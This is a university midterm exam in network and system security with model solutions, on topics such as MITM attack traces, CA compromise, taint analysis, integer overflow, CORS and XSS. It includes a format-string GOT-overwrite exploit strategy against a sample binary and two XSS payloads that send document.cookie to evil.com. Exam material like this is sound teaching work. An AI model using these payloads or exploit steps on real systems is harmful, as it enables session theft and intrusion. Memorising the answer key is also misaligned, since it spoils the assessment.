NAME:	ENTRY NO:

SIL765 & SIL7165: Networks & System Security

Midterm Exam - February 24, 2026

Time: 120 minutes | Maximum Marks: 100 | Number of Questions: 10

Instructions:

1. This is a closed-mode examination, i.e., you must not have any study material while taking the exam. All electronic devices must be stored away from you during the exam.
2. Please attempt all questions. If you feel any question/statement is ambiguous, please write your assumptions clearly, then answer as per your assumptions.
3. You must answer the question in the box assigned for each question. Any text outside the given box will not be evaluated.
4. Please read the honour code given below carefully, and sign in the designated area to accept the same. Your answer sheet may not be evaluated in the absence of such a signature.

Honour Code: As a student of IIT-D, I will not give or receive aid in examinations. I will do my share and take an active part in seeing to it that others as well as myself uphold the spirit and letter of the Honour Code.

_____
Your Signature

1. [10 marks] An organisation transmits sensitive payroll data from its headquarters to a remote branch over the Internet.

   (a) [3 marks] Explain a realistic attack scenario where both confidentiality and integrity are required.

   Solution: Online banking transactions require both confidentiality and integrity. Confidentiality ensures that sensitive information such as account numbers and passwords cannot be read by attackers. Integrity ensures that the transaction details (such as the amount being transferred or the recipient account) cannot be modified during transmission. Without integrity, an attacker could alter the transaction amount even if the message is encrypted.

   (b) [3 marks] Explain why encryption alone does not guarantee integrity.

   Solution: Encryption protects confidentiality by converting plaintext into ciphertext, preventing unauthorized users from reading the data. However, it does not ensure that the ciphertext has not been altered during transmission. An attacker could modify the encrypted data, and when decrypted it may produce incorrect or manipulated information. Therefore, encryption alone does not guarantee integrity.

   (c) [4 marks] Describe two mechanisms that ensure integrity and authentication.

   Solution: Message Authentication Codes (MAC): A MAC uses a secret key and a hash function to generate a tag for a message. The receiver recomputes the MAC and compares it with the received tag to verify integrity and authenticity.

   Digital Signatures: Digital signatures use asymmetric cryptography where the sender signs the message with a private key. The receiver verifies the signature using the sender's public key, ensuring both integrity and authentication.

NAME:	ENTRY NO:

2. [10 marks] Firewalls are widely used as a perimeter defence mechanism in enterprise networks.

   (a) [4 marks] Explain the design goals of a firewall. (Any four)

   Solution: 1. **Controlled access between networks:** A firewall ensures that all traffic between the internal network and external networks passes through a single controlled point.

   2. **Enforcement of security policy:** The firewall enforces the organization's security policy by allowing only authorized traffic and blocking unauthorized access.

   3. **Logging and monitoring:** Firewalls record network activities such as connection attempts and blocked packets, which helps in auditing and detecting attacks.

   4. **Protection of internal network:** It hides internal network structure and prevents direct access from external attackers.

   5. **Centralized security management:** Security rules can be configured and updated at one point rather than on every device.

   6. **Filtering malicious traffic:** It blocks suspicious or harmful packets based on rules like IP address, protocol, or port number.

   (b) [3 marks] Differentiate between stateless packet filtering and stateful packet filtering.

   Solution: Stateless Packet Filtering:

   - Examines each packet independently.
   - Filtering decisions are based only on header fields such as source IP, destination IP, port numbers, and protocol.
   - Does not track the state of a connection.
   - Faster but less secure.

   Stateful Packet Filtering:

   - Tracks the state of active connections.
   - Maintains a state table for ongoing sessions.
   - Allows packets that belong to an established connection automatically.
   - Provides better security but requires more memory and processing.

   (c) [3 marks] Discuss three limitations of firewalls with practical examples.

   Solution: 1. **Cannot prevent insider attacks:** If a malicious employee inside the network steals confidential data, the firewall cannot stop it since the traffic originates from within the trusted network.

2. **Cannot stop attacks through allowed services:** If HTTP or HTTPS traffic is allowed, attackers can exploit web vulnerabilities (e.g., SQL injection on a company website) even though the firewall permits the connection.

3. **Cannot protect against malware in user downloads:** If a user downloads an infected file from a legitimate website, the firewall may allow the traffic since it appears normal.

4. **Limited visibility into encrypted traffic:** When traffic is encrypted (HTTPS or VPN), the firewall may not inspect the actual content of the data.

NAME:	ENTRY NO:

3. [10 marks] An organisation deploys an Intrusion Detection System (IDS) to monitor its network.

   (a) [3 marks] Differentiate between Network-based IDS (NIDS) and Host-based IDS (HIDS).

Solution: Network-based IDS (NIDS):

- Monitors network traffic across the entire network.
- Usually placed at strategic points such as gateways or routers.
- Analyses packets travelling through the network.
- Can detect attacks targeting multiple systems.

Host-based IDS (HIDS):

- Installed on individual hosts or devices.
- Monitors system activities such as log files, file integrity, and system calls.
- Detects attacks targeting that specific machine.
- Provides detailed visibility into host behaviour.

   (b) [4 marks] Compare signature-based and anomaly-based detection approaches.

Solution: Signature-based Detection:

- Detects attacks by matching patterns against a database of known attack signatures.
- Effective for detecting known threats.
- Low false positive rate.
- Cannot detect new or unknown attacks.

Anomaly-based Detection:

- Detects attacks by identifying deviations from normal system or network behaviour.
- Can detect unknown or zero-day attacks.
- Requires training to establish normal behaviour.
- Higher false positive rate compared to signature-based detection.

   (c) [3 marks] Explain two major challenges faced by IDS systems.

Solution: 1. **High false positives:** IDS systems may incorrectly classify normal activity as malicious, which can overwhelm administrators with unnecessary alerts.

2. **High false negatives:** Some attacks may go undetected if they do not match existing signatures or closely resemble normal behaviour.

3. **Large volume of network traffic:** Monitoring high-speed networks requires significant processing power and can make real-time detection difficult.

4. **Encrypted traffic:** IDS systems may struggle to inspect encrypted traffic such as HTTPS, limiting their ability to detect threats.

NAME:	ENTRY NO:

4. [10 marks] Consider the following simplified TLS-like protocol. The protocol uses server signatures but does not use certificate chains.

Protocol:

$$\begin{aligned}&\text{Client} \rightarrow \text{Server} : N_C\\ &\text{Server} \rightarrow \text{Client} : N_S,\ \text{Cert}_S,\ \text{Sign}_{SK_S}(N_C, N_S)\\ &\text{Client} \rightarrow \text{Server} : E_K(N_C, N_S)\end{aligned}$$

Where:

- N_C, N_S are nonces generated by the Client and Server, respectively.
- Cert_S is the Server's certificate containing the Server's public key PK_S.
- $\text{Sign}_{SK_S}(m)$ denotes a digital signature on message m using the Server's private key SK_S.
- $E_K(m)$ denotes symmetric encryption of message m using the session key K.
- The session key is derived as:
$$K = H(N_C \parallel N_S)$$
where $H(\cdot)$ is a cryptographic hash function and $\parallel$ denotes concatenation.

Assume an active network attacker who has full control over the communication channel (i.e., can intercept, modify, replay, and inject messages), but cannot break cryptographic primitives.

(a) [5 marks] Formally analyse whether this protocol provides **server authentication** in the presence of an active Man-in-the-Middle (MITM) adversary.

Your answer must include either:

- A complete attack trace demonstrating protocol failure, or
- A formal argument proving that authentication holds.

Clearly justify your conclusion.

Solution: Key observation. The protocol derives the session key as

$$K = H(N_C \parallel N_S)$$

Both N_C and N_S are transmitted in plaintext. Hence an adversary observing the protocol learns both values and can compute

$$K \in \mathcal{K}_A$$

where $\mathcal{K}_A$ denotes the adversary knowledge set. Therefore the attacker can compute $E_K(\cdot)$ and $D_K(\cdot)$.

MITM attack trace

Message 1

$$C \to A(S) : N_C \qquad A \to S : N_C$$

Message 2

$$S \to A : N_S, Cert_S, Sign_{SK_S}(N_C, N_S)$$

$$A \to C : N_S, Cert_S, Sign_{SK_S}(N_C, N_S)$$

Client verifies

$$Verify_{PK_S}(Sign_{SK_S}(N_C, N_S), (N_C, N_S)) = true$$

and accepts the server.

Message 3

Client computes

$$K = H(N_C \parallel N_S)$$

and sends

$$C \to A(S) : E_K(N_C, N_S)$$

Since A knows N_C, N_S, it computes the same K, decrypts and forwards

$$A \to S : E_K(N_C, N_S)$$

Server decrypts successfully and accepts.

Resulting state

Client accepts (valid signature), server accepts (valid encrypted message), and the attacker knows K. Hence the attacker can compute $E_K(\cdot)$ and $D_K(\cdot)$ and read/-modify all protected traffic.

Conclusion

A secure authentication protocol should ensure that if C completes believing it communicates with S, then no attacker can learn the session key or modify protected traffic. However,

$$K = H(N_C \parallel N_S)$$

is computable from public nonces, so an active MITM can complete the protocol with both parties and compromise the channel. Therefore the protocol does **not provide secure server authentication** (no authenticated key exchange).

(b) [5 marks] Identify a fundamental design limitation of this protocol that is addressed in modern TLS protocols (e.g., TLS 1.3).

Design a modified version of this protocol that takes care of this limitation while preserving **forward secrecy**.

Your answer must include:

- The complete modified message sequence, and
- A brief explanation of why your modified protocol is secure.

NAME:	ENTRY NO:

Solution: Fundamental limitation. The protocol derives the session key as

$$K = H(N_C \parallel N_S)$$

where N_C and N_S are transmitted in plaintext. Hence any network observer can compute K. This breaks confidentiality and integrity of the channel and prevents authenticated key exchange (MITM resistance).

Modern TLS (e.g., TLS 1.3) fixes this by deriving the session key from an ephemeral Diffie–Hellman shared secret and using *Finished* messages for key confirmation.

Modified protocol (forward-secret design):

Let $X = g^a$ and $Y = g^b$ be ephemeral Diffie–Hellman shares, with shared secret

$$Z = g^{ab}.$$

The session key is derived as

$$K = HKDF(Z, N_C \parallel N_S \parallel Transcript).$$

Message sequence:

$$C \to S : N_C,\ X = g^a$$

$$S \to C : N_S,\ Y = g^b,\ Cert_S,\ Sign_{SK_S}(N_C, N_S, X, Y)$$

$$C \to S : Finished_C = MAC_K(Transcript)$$

$$S \to C : Finished_S = MAC_K(Transcript)$$

Security argument:

The attacker observes $X = g^a$ and $Y = g^b$ but cannot compute

$$Z = g^{ab}$$

under the Computational Diffie–Hellman assumption. Hence the attacker cannot derive K or forge

$$Finished = MAC_K(Transcript).$$

The signature binds the server identity to the ephemeral shares (X, Y), preventing substitution attacks.

Because K depends on ephemeral secrets a, b, compromise of the long-term key SK_S does not reveal past session keys. Thus the protocol achieves MITM resistance and forward secrecy.

5. [10 marks] Public Key Infrastructure (PKI) is used by HTTPS to authenticate servers. However, modern browsers trust many CAs. If any trusted CA is compromised, malicious, or coerced into issuing a fraudulent certificate, an attacker may obtain a valid certificate for a domain they do not control.

   Assume that an attacker has compromised a trusted CA and obtained the following rogue certificate:

   $$\text{Cert}_{fake} = \text{Certificate for bank.com signed by a trusted CA}$$

   Because the certificate is signed by a trusted CA, the victim's browser accepts it as valid.

   Further assume that the attacker has full control over the network and can intercept, modify, and relay communication between the client and the legitimate server.

   (a) [5 marks] Construct a complete HTTPS Man-in-the-Middle (MITM) attack trace showing how the attacker can successfully impersonate `bank.com` despite TLS authentication. Provide exact protocol message flow.

   Solution: Notation: C: victim client (browser), B: legitimate server (`bank.com`), A: active MITM attacker. Cert_{fake}: certificate for `bank.com` signed by a trusted CA but containing attacker key PK_{fake} (private key SK_{fake} held by A). k_1: session keys for TLS between C and A, k_2: session keys for TLS between A and B. $\text{Enc}_k(m)$: encryption of application data m under key k.

   Attack trace (two TLS sessions):

   TLS Session 1: $C \leftrightarrow A$ (A impersonates `bank.com`)

   $$C \to A : \text{ClientHello (SNI=bank.com)}$$
   $$A \to C : \text{ServerHello, } \text{Cert}_{fake}, \ldots$$

   Browser certificate validation succeeds since the domain matches and the cert chains to a trusted CA:

   $$\text{Verify}_{PK_{CA}}(\text{Cert}_{fake}) = \text{true}.$$

   Handshake completes and C and A derive TLS traffic keys:

   $$k_1 \leftarrow \text{TLSKeySchedule}(\ldots).$$

   TLS Session 2: $A \leftrightarrow B$ (A connects to the real bank)

   $$A \to B : \text{ClientHello (SNI=bank.com)}$$
   $$B \to A : \text{ServerHello, } \text{Cert}_{bank}, \ldots$$

   Handshake completes and A and B derive:

   $$k_2 \leftarrow \text{TLSKeySchedule}(\ldots).$$

Data relaying: For any HTTPS request/response:

$$C \to A : \text{Enc}_{k_1}(\text{HTTP request})$$
$$A \to B : \text{Enc}_{k_2}((\text{optionally modified) HTTP request})$$
$$B \to A : \text{Enc}_{k_2}(\text{HTTP response})$$
$$A \to C : \text{Enc}_{k_1}((\text{optionally modified) HTTP response})$$

Thus A decrypts with k_1 and re-encrypts with k_2 (and vice versa), enabling eavesdropping and modification.

Why the browser does not detect it: The browser accepts a server if the certificate is valid under a trusted CA and the hostname matches. Since Cert_{fake} satisfies both, the browser authenticates the attacker's key as if it were `bank.com`.

Conclusion: Under CA compromise, Web PKI allows any trusted CA to vouch for `bank.com`; therefore a rogue but CA-valid certificate enables full MITM impersonation.

(b) [5 marks] Design a secure browser certificate validation mechanism that prevents this attack even if a trusted CA is compromised.

Your answer must include both:

- Cryptographic mechanisms (e.g., additional proofs, key binding, or verification methods)
- System-level mechanisms (e.g., logging, monitoring, or trust constraints)

Solution: Three secure browser certification mechansism that prevent rogue certificate MITM even if a trusted CA is compromised are as follows:

(1) Cryptographic: Certificate Transparency (CT) enforcement. Require CT proofs (e.g., SCTs) for acceptance. Browser accepts a certificate $Cert$ for domain d only if the normal PKI chain is valid and it carries t valid SCTs from approved CT logs (typically $t \geq 2$):

$$\text{Accept}(Cert, d) \iff \text{PKIValid}(Cert, d) \wedge \bigwedge_{i=1}^{t} \text{ValidSCT}_i(Cert).$$

Effect: a compromised CA cannot issue a *stealth* certificate; it must be publicly logged to be usable.

(2) Cryptographic: Pinning / constrained issuance for high-value domains. Enforce either:

- *Public-key pinning (SPKI pin):* let $Pin(d)$ be the set of allowed server public keys (or SPKI hashes) for d; require

$$PK_{cert} \in Pin(d).$$

- *CA constraint:* let $Issuers(d)$ be the allowed CA set for d; require

$$CA_{issuer}(Cert) \in Issuers(d).$$

Effect: even if some trusted CA is compromised, a rogue cert is rejected unless it uses an approved key or an allowed issuer.

(3) System-level: CT log monitoring and rapid response. The domain owner (and/or monitors) continuously scans CT logs for certificates for `bank.com`. If unexpected issuance is detected: trigger incident response (revocation/blocklists), update pins/issuer constraints, and alert browsers/users (e.g., via revocation/CRLite-like distribution). *Effect:* mis-issuance becomes detectable and the attack window is reduced.

Why this prevents the attack: If Cert_{fake} is not CT-logged, it fails CT enforcement and is rejected. If it is CT-logged, it becomes publicly visible and still fails pinning/issuer constraints unless the attacker also compromises the pinned key or an allowed CA; monitoring further enables fast remediation. Hence the design eliminates "any trusted CA can impersonate any domain" for high-value sites.

6. [10 marks] Static taint analysis is widely used in security analysis tools to detect whether untrusted input can influence security-critical operations. In taint analysis, data originating from untrusted sources is marked as *tainted*, and the analyser tracks how tainted data propagates through program variables and operations.

   Consider the following program fragment:

```
1    input = read()
2    x = input ^ secret_key
3    if hash(x) == target:
4        grant_access()
```

   Where:

   - `input` is obtained from an untrusted source (e.g., user input or network input).
   - `secret_key` is a confidential value stored in program memory.
   - `hash()` is a cryptographic hash function.
   - `target` is a fixed constant.
   - `grant_access()` is a privileged operation that must only execute under secure conditions.

   Assume that a static analyser attempts to detect whether attacker-controlled input can influence the execution of `grant_access()` using taint tracking.

   (a) [5 marks] Formally explain why traditional taint analysis may fail to detect the taint flow in this code.

   Your answer must include:

   - Symbolic representation of program variables, and

- Formal reasoning showing how attacker-controlled input influences security-critical control flow.

Solution: Symbolic representation. Let the untrusted input returned by `read()` be a symbolic variable:

$$\texttt{input} = \alpha$$

Let the secret key be a fixed (but attacker-unknown) constant:

$$\texttt{secret\_key} = K$$

Then:

$$\texttt{x} = \alpha \oplus K$$

where $\oplus$ denotes bitwise XOR. The branch condition is:

$$\texttt{hash}(x) = \texttt{target} \iff \texttt{hash}(\alpha \oplus K) = \texttt{target}.$$

Why traditional taint analysis may fail: Many lightweight taint analyses are *syntactic* and treat certain transforms as taint-breaking or opaque. Two common unsound approximations are: (i) *Crypto/sanitizer misunderstanding:* flows through XOR with a secret or through `hash()` may be marked "sanitized" (non-propagating), causing incorrect inferences such as $T(x) = 0$ or $T(\texttt{hash}(x)) = 0$, even though α still influences x and the branch. (ii) *No semantic (symbolic) dependence tracking:* the analyser may not represent $x = \alpha \oplus K$, hence it may miss that the predicate depends on α.

Formal dependence on attacker input: From $x = \alpha \oplus K$, x is a deterministic function of α (XOR is invertible: $\alpha = x \oplus K$). Thus the path condition to reach `grant_access()` is:

$$\texttt{hash}(\alpha \oplus K) = \texttt{target},$$

which is explicitly a constraint over the attacker-controlled α. Therefore the security-critical control decision is influenced by untrusted input; a purely syntactic taint analysis may miss this dependency, yielding a false negative.

(b) [5 marks] Design a static analysis framework to detect this vulnerability.
Your answer must specify:

- A formal taint propagation model, and
- A symbolic tracking mechanism capable of detecting hidden data dependencies.

Briefly explain why your framework correctly detects the vulnerability.

Solution: A correct framework must be (i) *formally defined* and (ii) *symbolically dependency-aware* so that dependencies are not lost through transformations such as XOR and `hash()`.

1) Formal taint propagation model: Let $T(e) \in \{\text{False}, \text{True}\}$ denote whether

expression e is tainted (True = tainted, False = untainted). Base rules:

$$T(\texttt{read()}) = \text{True}, \qquad T(K) = \text{False}, \qquad T(\texttt{target}) = \text{False}.$$

Propagation (semantic) rule: for any operation $f(e_1, \ldots, e_n)$,

$$T\big(f(e_1, \ldots, e_n)\big) = T(e_1) \ \vee \ \cdots \ \vee \ T(e_n).$$

Hence,

$$T(x) = T(\texttt{input} \oplus \texttt{secret\_key}) = T(\texttt{input}) \vee T(\texttt{secret\_key}) = \text{True},$$

and

$$T(\texttt{hash}(x)) = T(x) = \text{True}.$$

Control-taint rule: if a branch condition `cond` is tainted, then the branch is tainted-control; any privileged sink reachable under that control dependency (in this case, `grant_access()`) must be flagged.

2) Symbolic tracking mechanism (hidden dependency detection): Maintain a symbolic environment Σ mapping variables to symbolic expressions:

$$\Sigma(\texttt{input}) = \alpha, \qquad \Sigma(x) = \alpha \oplus K.$$

Then the branch condition is:

$$\texttt{cond} \ \equiv \ (\texttt{hash}(\Sigma(x)) = \texttt{target}) \ \equiv \ (\texttt{hash}(\alpha \oplus K) = \texttt{target}).$$

Maintain path condition $PC := PC \wedge \texttt{cond}$. *Detection criterion:* report if either (i) $T(\texttt{cond}) = \text{True}$, or (ii) α appears in $\Sigma(\texttt{cond})$; in this program α appears in $\texttt{hash}(\alpha \oplus K) = \texttt{target}$, so the framework flags attacker influence on access control.

Why it works: The OR-based propagation prevents XOR/`hash()` from "washing away" taint, while symbolic expressions make the dependence on α explicit; together with control-tainting, the analyser correctly detects that untrusted input can influence `grant_access()`.

7. [10 marks] Consider the following C function used in a 32-bit network file server to construct a destination path for an uploaded file. The system uses a standard heap implementation (e.g., dlmalloc) and has NX (No-Execute) and ASLR enabled.

```
1 void build_upload_path(const char *dir, const char *filename) {
2     unsigned short total_len;
3     char *full_path;
4
5     // Calculate total length: dir + '/' + filename + null terminator
6     total_len = strlen(dir) + strlen(filename) + 2;
7
8     full_path = (char *)malloc(total_len);
9
```

NAME:	ENTRY NO:

```
    if (full_path != NULL) {
        strcpy(full_path, dir);
        strcat(full_path, "/");
        strcat(full_path, filename);

        /* ... process file ... */

        free(full_path);
    }
}
```

(a) [4 marks] Identify the specific vulnerability in the code above. Under what specific input conditions does this vulnerability manifest?

Solution: integer overflow

(b) [6 marks] Assume an attacker can control both `dir` and `filename`. Given that the heap is used, explain how an attacker could leverage this vulnerability.

Solution:

```

    If the combined length of the directory string and the filename
    string (plus the 2 bytes for the separator and null terminator)
    exceeds 65,535, the value "wraps around" due to the 16-bit
    limitation. For example, if the calculated sum is exactly 65,537,
    the 16-bit register resets and stores the value 1. This overflow
    creates a massive discrepancy between the memory allocated and the
    data actually copied. The subsequent strcpy and strcat functions do
    not check the total_len limit. They proceed to write the original,
    massive strings into the tiny 1-byte buffer. This results in a heap-
    based buffer overflow that overwrites critical adjacent heap
    metadata, which can be leveraged to hijack the program's control
    flow

```

8. [10 marks] You are provided with the source code of a 32-bit ELF binary and specific memory offsets obtained through static analysis. The system environment has **NX (No-Execute)** and **ASLR** enabled, but **PIE** is disabled. The binary is compiled with standard 4-byte alignment.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void double_secret_function() {
    system("/bin/sh");
}

int main() {
    char name[64];
    char flag[64];
```

```
12
13      printf("What's your name? ");
14      fflush(stdout);
15      fgets(name, sizeof(name), stdin);
16
17      printf("Hello ");
18      printf(name);
19      printf("!\n");
20      fflush(stdout);
21
22      printf("Anything else? ");
23      fflush(stdout);
24      fgets(flag, sizeof(flag), stdin);
25      printf("Goodbye!\n");
26      fflush(stdout);
27
28      return 0;
29  }
```

Binary Analysis Data:

- `double_secret_function` address: `0x0804856b`(Decimal value: 134,513,003)
- `fflush@got` address: `0x0804a028`
- The buffer `name` is located at **offset 10** on the stack relative to the vulnerable call.

(a) [2 marks] Identify the vulnerability present in the code. Provide a technical justification for why this flaw exists.

Solution: format string(not buffer overflow since fgets is safe function)

(b) [8 marks] Describe a complete exploitation strategy to gain a shell. Your response must identify the specific architectural target for the write, justify your choice based on the provided binary constraints, and outline the exact logic and components of the payload required for the first `fgets` call. (Provide the byte-level representation of the exploit payload and the calculated decimal width specifiers required to perform the hijack.)

Solution: The payload consists of three parts: addresses, width specifiers (to set the character count), and write specifiers. Addresses: We place the target memory addresses at the start of the buffer. Since the buffer is at offset 10 on the stack, these will be accessible via %10$, %11$, and %12$. Width Specifiers: These control how many characters printf outputs. Since %n writes the cumulative count, we calculate the difference *delta* needed to reach the next byte. Using Format String vulnerability in printf(name) to perform an arbitrary memory write by using the %n specifier to overwrite the Global Offset Table (GOT) entry of fflush. By redirecting this GOT entry to the address of double_secret_function, the attacker hijacks the program's control flow to execute a shell when fflush is subsequently called.

NAME:	ENTRY NO:

9. [10 marks] Consider a financial services application that hosts a sensitive profile API at `https://api.securebank.com`. To support a third-party rewards partner, the developers have configured the API server to include the following HTTP response header for all incoming requests:

   `Access-Control-Allow-Origin: *`

   A user is currently logged into their account at `securebank.com` in one browser tab. In another tab, they visit a malicious site at `https://attacker-site.net`. That site executes the following pseudo-code logic in the background:

```
// Attempt to grab data from the bank's API
Request(url: "https://api.securebank.com/user/profile", {
    method: "GET",              // The type of action to perform
    send_cookies: "include",    // Include the user's logged-in session
    cookies
    mode: "cross-origin"        // Treat this as a request to a different site
})
.then(data => print(data));     // Output the data
```

   (a) [3 marks] Assuming the user is using a modern, standards-compliant browser:

   1. Identify the specific entity (the **Browser** or the **Server**) responsible for the final decision to grant or deny the script access to the profile data.
   2. Analyse the technical conflict between the server's header configuration (`*`) and the request properties. Predict whether the `print(data)` command will successfully execute and provide the technical justification for the outcome.

   > **Solution: Entity responsible:** The **Browser** makes the final decision to grant or deny the script access to the response data. The browser enforces the Same-Origin Policy and CORS rules.
   >
   > **Technical analysis:** The server header `Access-Control-Allow-Origin: *` allows requests from any origin. However, the request includes `send_cookies: "include"`, meaning credentials (cookies) are sent with the request.
   >
   > According to CORS rules, when credentials are included, the server cannot use the wildcard (`*`) origin. Instead, it must explicitly specify the requesting origin and also allow credentials.
   >
   > Because of this conflict, the browser blocks the response from being accessed by the malicious script. Therefore, the `print(data)` command will **not execute successfully**.

   (b) [4 marks] If the attacker modifies the request method from `GET` to `DELETE`, the browser's behaviour changes, issuing a hidden `OPTIONS` request before the actual `DELETE`. Explain the specific security objective of this secondary request. What is it designed to prevent that a standard "denied read" does not address?

Solution: The **OPTIONS** request is called a **CORS preflight request**. Its purpose is to check with the server whether the cross-origin request with a non-simple method (such as DELETE) is allowed.

The browser sends this preflight request to ask the server which HTTP methods, headers, and origins are permitted.

The security objective is to prevent malicious websites from performing unauthorized state-changing operations (such as DELETE, PUT, or POST) on behalf of the user.

A normal "denied read" only prevents the attacker from viewing the response. However, without the preflight check, the malicious request could still execute and modify or delete data. The preflight mechanism ensures that the server explicitly approves such actions before they are performed.

(c) [3 marks] A separate attacker uses a command-line tool (e.g., `curl`) to make the exact same request to the API. Compare the outcome of this `curl` request to the browser-based request. Based on this comparison, define the actual **Trust Boundary** that these web security mechanisms are intended to secure.

Solution: A tool like `curl` does not enforce browser security policies such as the Same-Origin Policy or CORS. Therefore, the request will be sent normally and the server may return the response without restriction.

In contrast, a browser enforces CORS rules and blocks scripts from accessing the response when the policy is violated.

This comparison shows that CORS is not a server-side access control mechanism. Instead, it is a security mechanism implemented by browsers to control how web pages from different origins interact.

The actual **trust boundary** is between **different web origins inside the browser**. CORS protects users from malicious scripts running in the browser, rather than protecting the server from direct requests.

10. [10 marks] Analyse the following three distinct security incidents. For each case, identify the **specific category** of the attack and provide a brief technical justification based on the **data flow** and **persistence**.

(a) [3 marks] **Incident A:** An attacker distributes a link to a targeted group of users:

```
1 https://portal.com/search?q=<script>new+Image().src='http://evil.com/log
      ?c='+document.cookie;</script>
2
```

When a victim clicks the link, the server receives the `q` parameter and renders it directly into the "Results for..." header of the HTML response. The script executes once and is not saved on the server.

NAME:	ENTRY NO:

Solution: reflected xss

(b) [3 marks] **Incident B:** An attacker updates their "Company Profile" on a B2B platform. In the "Description" field, they input a script that exfiltrates the viewer's session tokens to a remote logging server. The script executes for every verified auditor who logs in to review the company's profile over the following week.

Solution: stored xss

(c) [4 marks] An attacker sends a link containing a payload located after the URL fragment:

```
https://webapp.com/dashboard#config=<script>fetch('http://evil.com/'+
    document.cookie)</script>

```

The server-side logs show the request for `/dashboard` but do not show the payload itself. The script executes because the site's legitimate `dashboard.js` file reads the URL fragment and uses the `.innerHTML` property to display the configuration string to the user.

Solution: dom xss